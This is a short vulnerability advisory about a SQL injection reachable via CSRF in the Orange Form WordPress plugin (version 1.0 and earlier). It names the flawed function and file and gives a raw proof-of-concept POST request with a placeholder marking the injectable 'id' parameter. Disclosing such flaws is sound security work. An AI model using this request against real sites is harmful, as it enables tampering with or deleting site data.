Orange Form <= 1.0 - SQL Injection via CSRF

2021-12-2900:00:00

Francesco Carlucci

orange form

sql injection

csrf

post request

admin page

EPSS

0.001

Percentile

43.4%

JSON

In the plugin, the process_bulk_action() function in “admin/orange-form-email.php” performs an unprepared SQL query with an unsanitized parameter ($id). Only admin can access the page that invokes the function, but because of lack of CSRF protection, it is actually exploitable and could allow attackers to make a logged in admin delete arbitrary posts for example

POST /wp-admin/admin.php?page=or-form&msg=suc HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

page=or-form&action=delete&id%5B%5D={INJECTABLE_PARAM}&action2=delete

EPSS

0.001

Percentile

43.4%

JSON

Related for WPEX-ID:60843022-FE43-4608-8859-9C9109B35B42